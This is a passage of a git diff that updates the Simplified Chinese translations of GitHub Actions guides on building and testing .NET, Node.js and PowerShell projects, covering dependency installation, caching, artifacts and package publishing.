-{% data variables.product.prodname_dotcom %}-hosted runners have the NuGet package manager installed. You can use the dotnet CLI to install dependencies from the NuGet package registry before building and testing your code. For example, the YAML below installs the `Newtonsoft` package.
+{% data variables.product.prodname_dotcom %} 托管的运行器安装了 NuGet 软件包管理器。 在构建和测试代码之前，您可以使用 dotnet CLI 从 NuGet 软件包注册表安装依赖项。 例如，下面的 YAML 安装 `Newtonsoft` 软件包。
 
 {% raw %}
 ```yaml
@@ -130,11 +130,11 @@ steps:
 
 {% ifversion fpt or ghec %}
 
-### Caching dependencies
+### 缓存依赖项
 
-You can cache NuGet dependencies using a unique key, which allows you to restore the dependencies for future workflows with the [`cache`](https://github.com/marketplace/actions/cache) action. For example, the YAML below installs the `Newtonsoft` package.
+您可以使用唯一密钥缓存 NuGet 依赖项，以在使用 [`cache`](https://github.com/marketplace/actions/cache) 操作运行未来的工作流程时恢复依赖项。 例如，下面的 YAML 安装 `Newtonsoft` 软件包。
 
-For more information, see "[Caching dependencies to speed up workflows](/actions/guides/caching-dependencies-to-speed-up-workflows)."
+更多信息请参阅“[缓存依赖项以加快工作流程](/actions/guides/caching-dependencies-to-speed-up-workflows)”。
 
 {% raw %}
 ```yaml
@@ -158,15 +158,15 @@ steps:
 
 {% note %}
 
-**Note:** Depending on the number of dependencies, it may be faster to use the dependency cache. Projects with many large dependencies should see a performance increase as it cuts down the time required for downloading. Projects with fewer dependencies may not see a significant performance increase and may even see a slight decrease due to how NuGet installs cached dependencies. The performance varies from project to project.
+**注意：**取决于依赖项的数量，使用依赖项缓存可能会更快。 有很多大型依赖项的项目应该能看到性能明显提升，因为下载所需的时间会缩短。 依赖项较少的项目可能看不到明显的性提升，甚至可能由于 NuGet 安装缓存依赖项的方式而看到性能略有下降。 性能因项目而异。
 
 {% endnote %}
 
 {% endif %}
 
-## Building and testing your code
+## 构建和测试代码
 
-You can use the same commands that you use locally to build and test your code. This example demonstrates how to use `dotnet build` and `dotnet test` in a job:
+您可以使用与本地相同的命令来构建和测试代码。 此示例演示如何在作业中使用 `dotnet build` 和 `dotnet test`：
 
 {% raw %}
 ```yaml
@@ -185,11 +185,11 @@ steps:
 ```
 {% endraw %}
 
-## Packaging workflow data as artifacts
+## 将工作流数据打包为构件
 
-After a workflow completes, you can upload the resulting artifacts for analysis. For example, you may need to save log files, core dumps, test results, or screenshots. The following example demonstrates how you can use the `upload-artifact` action to upload test results.
+工作流程完成后，您可以上传产生的项目进行分析。 例如，您可能需要保存日志文件、核心转储、测试结果或屏幕截图。 下面的示例演示如何使用 `upload-artifact` 操作来上传测试结果。
 
-For more information, see "[Persisting workflow data using artifacts](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+更多信息请参阅“[使用构件持久化工作流程](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)”。
 
 {% raw %}
 ```yaml
@@ -225,9 +225,9 @@ jobs:
 ```
 {% endraw %}
 
-## Publishing to package registries
+## 发布到包注册表
 
-You can configure your workflow to publish your Dotnet package to a package registry when your CI tests pass. You can use repository secrets to store any tokens or credentials needed to publish your binary. The following example creates and publishes a package to {% data variables.product.prodname_registry %} using `dotnet core cli`.
+您可以配置工作流程在 CI 测试通过后将 Dotnet 包发布到包注册表。 您可以使用仓库机密来存储发布二进制文件所需的任何令牌或凭据。 下面的示例使用 `dotnet core cli`创建并发布软件包到 {% data variables.product.prodname_registry %}。
 
 ```yaml
 name: Upload dotnet package
diff --git a/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-nodejs-or-python.md b/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-nodejs-or-python.md
index e22a423999..345025427d 100644
--- a/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-nodejs-or-python.md
+++ b/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-nodejs-or-python.md
@@ -1,5 +1,5 @@
 ---
-title: Building and testing Node.js or Python
+title: 构建并测试 Node.js 或 Python
 shortTitle: Build & test Node.js or Python
 intro: You can create a continuous integration (CI) workflow to build and test your project. Use the language selector to show examples for your language of choice.
 redirect_from:
diff --git a/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md b/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md
index 8460d39730..874473990b 100644
--- a/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md
+++ b/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Node.js
-intro: You can create a continuous integration (CI) workflow to build and test your Node.js project.
+title: 构建和测试 Node.js
+intro: 您可以创建持续集成 (CI) 工作流程来构建和测试您的 Node.js 项目。
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/using-nodejs-with-github-actions
   - /actions/language-and-framework-guides/using-nodejs-with-github-actions
@@ -16,31 +16,31 @@ topics:
   - CI
   - Node
   - JavaScript
-shortTitle: Build & test Node.js
+shortTitle: 构建和测试 Node.js
 hasExperimentalAlternative: true
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
-This guide shows you how to create a continuous integration (CI) workflow that builds and tests Node.js code. If your CI tests pass, you may want to deploy your code or publish a package.
+本指南介绍如何创建用来生成和测试 Node.js 代码的持续集成 (CI) 工作流程。 如果 CI 测试通过，您可能想要部署代码或发布包。
 
-## Prerequisites
+## 基本要求
 
-We recommend that you have a basic understanding of Node.js, YAML, workflow configuration options, and how to create a workflow file. For more information, see:
+建议基本了解 Node.js、YAML、工作流程配置选项以及如何创建工作流程文件。 更多信息请参阅：
 
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
-- "[Getting started with Node.js](https://nodejs.org/en/docs/guides/getting-started-guide/)"
+- "[了解 {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
+- "[开始使用 Node.js](https://nodejs.org/en/docs/guides/getting-started-guide/)"
 
 {% data reusables.actions.enterprise-setup-prereq %}
 
-## Starting with the Node.js workflow template
+## Using the Node.js starter workflow
 
-{% data variables.product.prodname_dotcom %} provides a Node.js workflow template that will work for most Node.js projects. This guide includes npm and Yarn examples that you can use to customize the template. For more information, see the [Node.js workflow template](https://github.com/actions/starter-workflows/blob/main/ci/node.js.yml).
+{% data variables.product.prodname_dotcom %} provides a Node.js starter workflow that will work for most Node.js projects. This guide includes npm and Yarn examples that you can use to customize the starter workflow. For more information, see the [Node.js starter workflow](https://github.com/actions/starter-workflows/blob/main/ci/node.js.yml).
 
-To get started quickly, add the template to the `.github/workflows` directory of your repository. The workflow shown below assumes that the default branch for your repository is `main`.
+To get started quickly, add the starter workflow to the `.github/workflows` directory of your repository. 下面显示的工作流假定仓库的默认分支是 `main`。
 
 {% raw %}
 ```yaml{:copy}
@@ -75,15 +75,15 @@ jobs:
 
 {% data reusables.github-actions.example-github-runner %}
 
-## Specifying the Node.js version
+## 指定 Node.js 版本
 
-The easiest way to specify a Node.js version is by using the `setup-node` action provided by {% data variables.product.prodname_dotcom %}. For more information see, [`setup-node`](https://github.com/actions/setup-node/).
+指定 Node.js 版本的最简单方法是使用由 {% data variables.product.prodname_dotcom %} 提供的 `setup-node` 操作。 更多信息请参阅 [`setup-node`](https://github.com/actions/setup-node/)。
 
-The `setup-node` action takes a Node.js version as an input and configures that version on the runner. The `setup-node` action finds a specific version of Node.js from the tools cache on each runner and adds the necessary binaries to `PATH`, which persists for the rest of the job. Using the `setup-node` action is the recommended way of using Node.js with {% data variables.product.prodname_actions %} because it ensures consistent behavior across different runners and different versions of Node.js. If you are using a self-hosted runner, you must install Node.js and add it to `PATH`.
+`setup-node` 操作采用 Node.js 版本作为输入，并在运行器上配置该版本。 `setup-node` 操作从每个运行器上的工具缓存中查找特定版本的 Node.js，并将必要的二进制文件添加到 `PATH`，这可继续用于作业的其余部分。 使用 `setup-node` 操作是 Node.js 与 {% data variables.product.prodname_actions %} 结合使用时的推荐方式，因为它能确保不同运行器和不同版本的 Node.js 行为一致。 如果使用自托管运行器，则必须安装 Node.js 并将其添加到 `PATH`。
 
-The template includes a matrix strategy that builds and tests your code with four Node.js versions: 10.x, 12.x, 14.x, and 15.x. The 'x' is a wildcard character that matches the latest minor and patch release available for a version. Each version of Node.js specified in the `node-version` array creates a job that runs the same steps.
+The starter workflow includes a matrix strategy that builds and tests your code with four Node.js versions: 10.x, 12.x, 14.x, and 15.x. "x" 是一个通配符，与版本的最新次要版本和修补程序版本匹配。 `node-version` 阵列中指定的每个 Node.js 版本都会创建一个运行相同步骤的作业。
 
-Each job can access the value defined in the matrix `node-version` array using the `matrix` context. The `setup-node` action uses the context as the `node-version` input. The `setup-node` action configures each job with a different Node.js version before building and testing code. For more information about matrix strategies and contexts, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix)" and "[Contexts](/actions/learn-github-actions/contexts)."
+每个作业都可以使用 `matrix` 上下文访问矩阵 `node-version` 阵列中定义的值。 `setup-node` 操作使用上下文作为 `node-version` 输入。 `setup-node` 操作在构建和测试代码之前使用不同的 Node.js 版本配置每个作业。 For more information about matrix strategies and contexts, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix)" and "[Contexts](/actions/learn-github-actions/contexts)."
 
 {% raw %}
 ```yaml{:copy}
@@ -100,7 +100,7 @@ steps:
 ```
 {% endraw %}
 
-Alternatively, you can build and test with exact Node.js versions.
+您也可以构建和测试精确的 Node.js 版本。
 
 ```yaml{:copy}
 strategy:
@@ -108,7 +108,7 @@ strategy:
     node-version: [8.16.2, 10.17.0]
 ```
 
-Or, you can build and test using a single version of Node.js too.
+或者，您也可以使用单个版本的 Node.js 构建和测试。
 
 {% raw %}
 ```yaml{:copy}
@@ -133,20 +133,20 @@ jobs:
 ```
 {% endraw %}
 
-If you don't specify a Node.js version, {% data variables.product.prodname_dotcom %} uses the environment's default Node.js version.
+如果不指定 Node.js 版本，{% data variables.product.prodname_dotcom %} 将使用环境的默认 Node.js 版本。
 {% ifversion ghae %} {% data reusables.actions.self-hosted-runners-software %}
-{% else %} For more information, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
+{% else %}更多信息请参阅“[{% data variables.product.prodname_dotcom %} 托管运行器的规范](/actions/reference/specifications-for-github-hosted-runners/#supported-software)”。
 {% endif %}
 
-## Installing dependencies
+## 安装依赖项
 
-{% data variables.product.prodname_dotcom %}-hosted runners have npm and Yarn dependency managers installed. You can use npm and Yarn to install dependencies in your workflow before building and testing your code. The Windows and Linux {% data variables.product.prodname_dotcom %}-hosted runners also have Grunt, Gulp, and Bower installed.
+{% data variables.product.prodname_dotcom %} 托管的运行器安装了 npm 和 Yarn 依赖项管理器。 在构建和测试代码之前，可以使用 npm 和 Yarn 在工作流程中安装依赖项。 Windows 和 Linux {% data variables.product.prodname_dotcom %} 托管的运行器也安装了 Grunt、Gulp 和 Bower。
 
-When using {% data variables.product.prodname_dotcom %}-hosted runners, you can also cache dependencies to speed up your workflow. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+使用 {% data variables.product.prodname_dotcom %} 托管的运行器时，您还可以缓存依赖项以加速工作流程。 更多信息请参阅“<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">缓存依赖项以加快工作流程</a>”。
 
-### Example using npm
+### 使用 npm 的示例
 
-This example installs the dependencies defined in the *package.json* file. For more information, see [`npm install`](https://docs.npmjs.com/cli/install).
+此示例安装 *package.json* 文件中定义的依赖项。 更多信息请参阅 [`npm install`](https://docs.npmjs.com/cli/install)。
 
 ```yaml{:copy}
 steps:
@@ -159,7 +159,7 @@ steps:
   run: npm install
 ```
 
-Using `npm ci` installs the versions in the *package-lock.json* or *npm-shrinkwrap.json* file and prevents updates to the lock file. Using `npm ci` is generally faster than running `npm install`. For more information, see [`npm ci`](https://docs.npmjs.com/cli/ci.html) and "[Introducing `npm ci` for faster, more reliable builds](https://blog.npmjs.org/post/171556855892/introducing-npm-ci-for-faster-more-reliable)."
+使用 `npm ci` 将版本安装到 *package-lock.json* 或 *npm-shrinkwraw.json* 文件并阻止更新锁定文件。 使用 `npm ci` 通常比运行 `npm install` 更快。 更多信息请参阅 [`npm ci`](https://docs.npmjs.com/cli/ci.html) 和“[引入 `npm ci` 以进行更快、更可靠的构建](https://blog.npmjs.org/post/171556855892/introducing-npm-ci-for-faster-more-reliable)”。
 
 {% raw %}
 ```yaml{:copy}
@@ -174,9 +174,9 @@ steps:
 ```
 {% endraw %}
 
-### Example using Yarn
+### 使用 Yarn 的示例
 
-This example installs the dependencies defined in the *package.json* file. For more information, see [`yarn install`](https://yarnpkg.com/en/docs/cli/install).
+此示例安装 *package.json* 文件中定义的依赖项。 更多信息请参阅 [`yarn install`](https://yarnpkg.com/en/docs/cli/install)。
 
 ```yaml{:copy}
 steps:
@@ -189,7 +189,7 @@ steps:
   run: yarn
 ```
 
-Alternatively, you can pass `--frozen-lockfile` to install the versions in the *yarn.lock* file and prevent updates to the *yarn.lock* file.
+或者，您可以传递 `--frozen-lockfile` 来安装 *yarn.lock* 文件中的版本，并阻止更新 *yarn.lock* 文件。
 
 ```yaml{:copy}
 steps:
@@ -202,15 +202,15 @@ steps:
   run: yarn --frozen-lockfile
 ```
 
-### Example using a private registry and creating the .npmrc file
+### 使用私有注册表并创建 .npmrc 文件的示例
 
 {% data reusables.github-actions.setup-node-intro %}
 
-To authenticate to your private registry, you'll need to store your npm authentication token as a secret. For example, create a repository secret called `NPM_TOKEN`. For more information, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+要验证您的私有注册表，需要将 npm 身份验证令牌存储为密码。 例如，创建名为 `NPM_TOKEN` 的仓库密码。 更多信息请参阅“[创建和使用加密密码](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)”。
 
-In the example below, the secret `NPM_TOKEN` stores the npm authentication token. The `setup-node` action configures the *.npmrc* file to read the npm authentication token from the `NODE_AUTH_TOKEN` environment variable. When using the `setup-node` action to create an *.npmrc* file, you must set the `NODE_AUTH_TOKEN` environment variable with the secret that contains your npm authentication token.
+在下面的示例中，密码 `NPM_TOKEN` 用于存储 npm 身份验证令牌。 `setup-node` 操作配置 *.npmrc* 文件从 `NODE_AUTH_TOKEN` 环境变量读取 npm 身份验证令牌。 使用 `setup-node` 操作创建 *.npmrc* 文件时，必须使用包含 npm 身份验证令牌的密码设置 `NODE_AUTH_TOKEN` 环境变量。
 
-Before installing dependencies, use the `setup-node` action to create the *.npmrc* file. The action has two input parameters. The `node-version` parameter sets the Node.js version, and the `registry-url` parameter sets the default registry. If your package registry uses scopes, you must use the `scope` parameter. For more information, see [`npm-scope`](https://docs.npmjs.com/misc/scope).
+在安装依赖项之前，使用 `setup-node` 操作创建 *.npmrc* 文件。 该操作有两个输入参数。 `node-version` 参数设置 Node.js 版本，`registry-url` 参数设置默认注册表。 如果包注册表使用作用域，您必须使用 `scope` 参数。 更多信息请参阅 [`npm-scope`](https://docs.npmjs.com/misc/scope)。
 
 {% raw %}
 ```yaml{:copy}
@@ -230,7 +230,7 @@ steps:
 ```
 {% endraw %}
 
-The example above creates an *.npmrc* file with the following contents:
+上面的示例创建了一个包含以下内容的 *.npmrc* 文件：
 
 ```ini
 //registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN}
@@ -238,11 +238,11 @@ The example above creates an *.npmrc* file with the following contents:
 always-auth=true
 ```
 
-### Example caching dependencies
+### 缓存依赖项示例
 
-When using {% data variables.product.prodname_dotcom %}-hosted runners, you can cache and restore the dependencies using the [`setup-node` action](https://github.com/actions/setup-node).
+使用 {% data variables.product.prodname_dotcom %} 托管的运行器时，您可以使用 [`setup-node` 操作](https://github.com/actions/setup-node)缓存和恢复依赖项。
 
-The following example caches dependencies for npm.
+以下示例缓存 npm 的依赖项。
 ```yaml{:copy}
 steps:
 - uses: actions/checkout@v2
@@ -254,7 +254,7 @@ steps:
 - run: npm test
 ```
 
-The following example caches dependencies for Yarn.
+以下示例缓存 Yarn 的依赖项。
 
 ```yaml{:copy}
 steps:
@@ -267,7 +267,7 @@ steps:
 - run: yarn test
 ```
 
-The following example caches dependencies for pnpm (v6.10+).
+以下示例缓存 pnpm (v6.10+) 的依赖项。
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -287,11 +287,11 @@ steps:
 - run: pnpm test
 ```
 
-If you have a custom requirement or need finer controls for caching, you can use the [`cache` action](https://github.com/marketplace/actions/cache). For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>".
+If you have a custom requirement or need finer controls for caching, you can use the [`cache` action](https://github.com/marketplace/actions/cache). 更多信息请参阅“<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">缓存依赖项以加快工作流程</a>”。
 
-## Building and testing your code
+## 构建和测试代码
 
-You can use the same commands that you use locally to build and test your code. For example, if you run `npm run build` to run build steps defined in your *package.json* file and `npm test` to run your test suite, you would add those commands in your workflow file.
+您可以使用与本地相同的命令来构建和测试代码。 例如，如果您运行 `npm run build` 来运行 *package.json* 文件中定义的构建步骤，运行 `npm test` 来运行测试套件，则要在工作流程文件中添加以下命令。
 
 ```yaml{:copy}
 steps:
@@ -305,10 +305,10 @@ steps:
 - run: npm test
 ```
 
-## Packaging workflow data as artifacts
+## 将工作流数据打包为构件
 
-You can save artifacts from your build and test steps to view after a job completes. For example, you may need to save log files, core dumps, test results, or screenshots. For more information, see "[Persisting workflow data using artifacts](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+您可以保存构建和测试步骤中的构件以在作业完成后查看。 例如，您可能需要保存日志文件、核心转储、测试结果或屏幕截图。 更多信息请参阅“[使用构件持久化工作流程](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)”。
 
-## Publishing to package registries
+## 发布到包注册表
 
-You can configure your workflow to publish your Node.js package to a package registry after your CI tests pass. For more information about publishing to npm and {% data variables.product.prodname_registry %}, see "[Publishing Node.js packages](/actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages)."
+您可以配置工作流程在 CI 测试通过后将 Node.js 包发布到包注册表。 有关发布到 npm 和 {% data variables.product.prodname_registry %} 的更多信息，请参阅“[发布 Node.js 包](/actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages)”。
diff --git a/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-powershell.md b/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-powershell.md
index 8983ffab2e..c376b2bd4f 100644
--- a/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-powershell.md
+++ b/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-powershell.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing PowerShell
-intro: You can create a continuous integration (CI) workflow to build and test your PowerShell project.
+title: 构建和测试 PowerShell
+intro: 您可以创建持续集成 (CI) 工作流程来构建和测试您的 PowerShell 项目。
 redirect_from:
   - /actions/guides/building-and-testing-powershell
 versions:
@@ -14,38 +14,38 @@ type: tutorial
 topics:
   - CI
   - PowerShell
-shortTitle: Build & test PowerShell
+shortTitle: 构建和测试 PowerShell
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
-This guide shows you how to use PowerShell for CI. It describes how to use Pester, install dependencies, test your module, and publish to the PowerShell Gallery.
+本指南演示如何将 PowerShell 用于 CI。 它介绍了如何使用 Pester、安装依赖项、测试模块以及发布到 PowerShell Gallery。
 
-{% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with pre-installed software, which includes PowerShell and Pester. 
+{% data variables.product.prodname_dotcom %} 托管的运行器具有预安装了软件的工具缓存，包括 PowerShell 和 Pester。
 
 {% ifversion ghae %}
 {% data reusables.actions.self-hosted-runners-software %}
-{% else %}For a full list of up-to-date software and the pre-installed versions of PowerShell and Pester, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
+{% else %}有关最新版软件以及 PowerShell 和 Pester 预安装版本的完整列表，请参阅 [{% data variables.product.prodname_dotcom %} 托管的运行器的规格](/actions/reference/specifications-for-github-hosted-runners/#supported-software)。
 {% endif %}
 
-## Prerequisites
+## 基本要求
 
-You should be familiar with YAML and the syntax for {% data variables.product.prodname_actions %}. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+您应该熟悉 YAML 和 {% data variables.product.prodname_actions %} 的语法。 更多信息请参阅“[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)”。
 
-We recommend that you have a basic understanding of PowerShell and Pester. For more information, see:
-- [Getting started with PowerShell](https://docs.microsoft.com/powershell/scripting/learn/ps101/01-getting-started)
+建议您对 PowerShell 和 Pester 有个基本的了解。 更多信息请参阅：
+- [开始使用 PowerShell](https://docs.microsoft.com/powershell/scripting/learn/ps101/01-getting-started)
 - [Pester](https://pester.dev)
 
 {% data reusables.actions.enterprise-setup-prereq %}
 
-## Adding a workflow for Pester
+## 为 Pester 添加工作流程
 
-To automate your testing with PowerShell and Pester, you can add a workflow that runs every time a change is pushed to your repository. In the following example, `Test-Path` is used to check that a file called `resultsfile.log` is present.
+要使用 PowerShell 和 Pester 自动执行测试，您可以添加在每次将更改推送到仓库时运行的工作流程。 在以下示例中，`Test-Path` 用于检查文件 `resultsfile.log` 是否存在。
 
-This example workflow file must be added to your repository's `.github/workflows/` directory:
+此示例工作流程文件必须添加到您仓库的 `.github/workflows/` 目录：
 
 {% raw %}
 ```yaml
@@ -69,17 +69,17 @@ jobs:
 ```
 {% endraw %}
 
-* `shell: pwsh` - Configures the job to use PowerShell when running the `run` commands.
-* `run: Test-Path resultsfile.log` - Check whether a file called `resultsfile.log` is present in the repository's root directory.
-* `Should -Be $true` - Uses Pester to define an expected result. If the result is unexpected, then {% data variables.product.prodname_actions %} flags this as a failed test. For example:
+* `shell: pwsh` - 配置作业在运行 `run` 命令时使用 PowerShell。
+* `run: Test-Path resultsfile.log` - 检查仓库的根目录中是否存在名为 `resultsfile.log` 的文件。
+* `Should -Be $true` - 使用 Pester 定义预期结果。 如果结果是非预期的，则 {% data variables.product.prodname_actions %} 会将此标记为失败的测试。 例如：
 
   {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-  ![Failed Pester test](/assets/images/help/repository/actions-failed-pester-test-updated.png)
+  ![失败的 Pester 测试](/assets/images/help/repository/actions-failed-pester-test-updated.png)
   {% else %}
-  ![Failed Pester test](/assets/images/help/repository/actions-failed-pester-test.png)
+  ![失败的 Pester 测试](/assets/images/help/repository/actions-failed-pester-test.png)
   {% endif %}
 
-* `Invoke-Pester Unit.Tests.ps1 -Passthru` - Uses Pester to execute tests defined in a file called `Unit.Tests.ps1`. For example, to perform the same test described above, the `Unit.Tests.ps1` will contain the following:
+* `Invoke-Pester Unit.Tests.ps1 -Passthru` - 使用 Pester 执行文件 `Unit.Tests.ps1` 中定义的测试。 例如，要执行上述相同的测试， `Unit.Tests.ps1` 将包含以下内容：
   ```
   Describe "Check results file is present" {
       It "Check results file is present" {
@@ -88,29 +88,29 @@ jobs:
   }
   ```
 
-## PowerShell module locations
+## PowerShell 模块位置
 
-The table below describes the locations for various PowerShell modules in each {% data variables.product.prodname_dotcom %}-hosted runner.
+下表描述了每个 {% data variables.product.prodname_dotcom %} 托管的运行器中各个 PowerShell 模块的位置。
 
-|| Ubuntu | macOS | Windows |
-|------|-------|------|----------|
-|**PowerShell system modules** |`/opt/microsoft/powershell/7/Modules/*`|`/usr/local/microsoft/powershell/7/Modules/*`|`C:\program files\powershell\7\Modules\*`|
-|**PowerShell add-on modules**|`/usr/local/share/powershell/Modules/*`|`/usr/local/share/powershell/Modules/*`|`C:\Modules\*`|
-|**User-installed modules**|`/home/runner/.local/share/powershell/Modules/*`|`/Users/runner/.local/share/powershell/Modules/*`|`C:\Users\runneradmin\Documents\PowerShell\Modules\*`|
+|                     | Ubuntu                                           | macOS                                             | Windows                                                      |
+| ------------------- | ------------------------------------------------ | ------------------------------------------------- | ------------------------------------------------------------ |
+| **PowerShell 系统模块** | `/opt/microsoft/powershell/7/Modules/*`          | `/usr/local/microsoft/powershell/7/Modules/*`     | `C:\program files\powershell\7\Modules\*`              |
+| **PowerShell 附加模块** | `/usr/local/share/powershell/Modules/*`          | `/usr/local/share/powershell/Modules/*`           | `C:\Modules\*`                                            |
+| **用户安装的模块**         | `/home/runner/.local/share/powershell/Modules/*` | `/Users/runner/.local/share/powershell/Modules/*` | `C:\Users\runneradmin\Documents\PowerShell\Modules\*` |
 
-## Installing dependencies
+## 安装依赖项
 
-{% data variables.product.prodname_dotcom %}-hosted runners have PowerShell 7 and Pester installed. You can use `Install-Module` to install additional dependencies from the PowerShell Gallery before building and testing your code.
+{% data variables.product.prodname_dotcom %} 托管的运行器安装了 PowerShell 7 和 Pester。 在构建和测试代码之前，您可以使用 `Install-Module` 从 PowerShell Gallery 安装其他依赖项。
 
 {% note %}
 
-**Note:** The pre-installed packages (such as Pester) used by {% data variables.product.prodname_dotcom %}-hosted runners are regularly updated, and can introduce significant changes. As a result, it is recommended that you always specify the required package versions by using `Install-Module` with `-MaximumVersion`.
+**注：**{% data variables.product.prodname_dotcom %} 托管的运行器使用的预安装包（如 Pester）会定期更新，可能引入重大更改。 因此，建议始终结合使用 `Install-Module` 与 `-MaximumVersion` 来指定所需的软件包版本。
 
 {% endnote %}
 
-When using {% data variables.product.prodname_dotcom %}-hosted runners, you can also cache dependencies to speed up your workflow. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+使用 {% data variables.product.prodname_dotcom %} 托管的运行器时，您还可以缓存依赖项以加速工作流程。 更多信息请参阅“<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">缓存依赖项以加快工作流程</a>”。
 
-For example, the following job installs the `SqlServer` and `PSScriptAnalyzer` modules:
+例如，以下作业将安装 `SqlServer` 和 `PSScriptAnalyzer` 模块：
 
 {% raw %}
 ```yaml
@@ -130,15 +130,15 @@ jobs:
 
 {% note %}
 
-**Note:** By default, no repositories are trusted by PowerShell. When installing modules from the PowerShell Gallery, you must explicitly set the installation policy for `PSGallery` to `Trusted`.
+**注：**默认情况下，PowerShell 不信任任何仓库。 从 PowerShell Gallery 安装模块时，您必须将 `PSGallery` 的安装策略明确设置为 `Trusted`。
 
 {% endnote %}
 
-### Caching dependencies
+### 缓存依赖项
 
-When using {% data variables.product.prodname_dotcom %}-hosted runners, you can cache PowerShell dependencies using a unique key, which allows you to restore the dependencies for future workflows with the [`cache`](https://github.com/marketplace/actions/cache) action. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+使用 {% data variables.product.prodname_dotcom %} 托管的运行器时，您可以使用唯一密钥缓存 PowerShell 依赖项， 这样在使用 [`cache`](https://github.com/marketplace/actions/cache) 操作运行未来的工作流程时可以恢复依赖项。 更多信息请参阅“<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">缓存依赖项以加快工作流程</a>”。
 
-PowerShell caches its dependencies in different locations, depending on the runner's operating system. For example, the `path` location used in the following Ubuntu example will be different for a Windows operating system.
+PowerShell 根据运行器的操作系统将其依赖项缓存在不同的位置。 例如，以下 Ubuntu 示例中使用的 `path` 位置在 Windows 操作系统中是不同的。
 
 {% raw %}
 ```yaml
@@ -159,13 +159,13 @@ steps:
 ```
 {% endraw %}
 
-## Testing your code
+## 测试代码
 
-You can use the same commands that you use locally to build and test your code.
+您可以使用与本地相同的命令来构建和测试代码。
 
-### Using PSScriptAnalyzer to lint code
+### 使用 PSScriptAnalyzer 链接代码
 
-The following example installs `PSScriptAnalyzer` and uses it to lint all `ps1` files in the repository. For more information, see [PSScriptAnalyzer on GitHub](https://github.com/PowerShell/PSScriptAnalyzer).
+下面的示例安装 `PSScriptAnalyzer` 并用它来将所有 `ps1` 文件链接在仓库中。 更多信息请参阅 [GitHub 上的 PSScriptAnalyzer](https://github.com/PowerShell/PSScriptAnalyzer)。
 
 {% raw %}
 ```yaml
@@ -193,11 +193,11 @@ The following example installs `PSScriptAnalyzer` and uses it to lint all `ps1`
 ```
 {% endraw %}
 
-## Packaging workflow data as artifacts
+## 将工作流数据打包为构件
 
-You can upload artifacts to view after a workflow completes. For example, you may need to save log files, core dumps, test results, or screenshots. For more information, see "[Persisting workflow data using artifacts](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+您可以在工作流程完成后上传构件以查看。 例如，您可能需要保存日志文件、核心转储、测试结果或屏幕截图。 更多信息请参阅“[使用构件持久化工作流程](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)”。
 
-The following example demonstrates how you can use the `upload-artifact` action to archive the test results received from `Invoke-Pester`. For more information, see the [`upload-artifact` action](https://github.com/actions/upload-artifact).
+下面的示例演示如何使用 `upload-artifact` 操作来存档从 `Invoke-Pester` 获得的测试结果。 更多信息请参阅 [`upload-artifact` 操作](https://github.com/actions/upload-artifact)。
 
 {% raw %}
 ```yaml
@@ -223,13 +223,13 @@ jobs:
 ```
 {% endraw %}
 
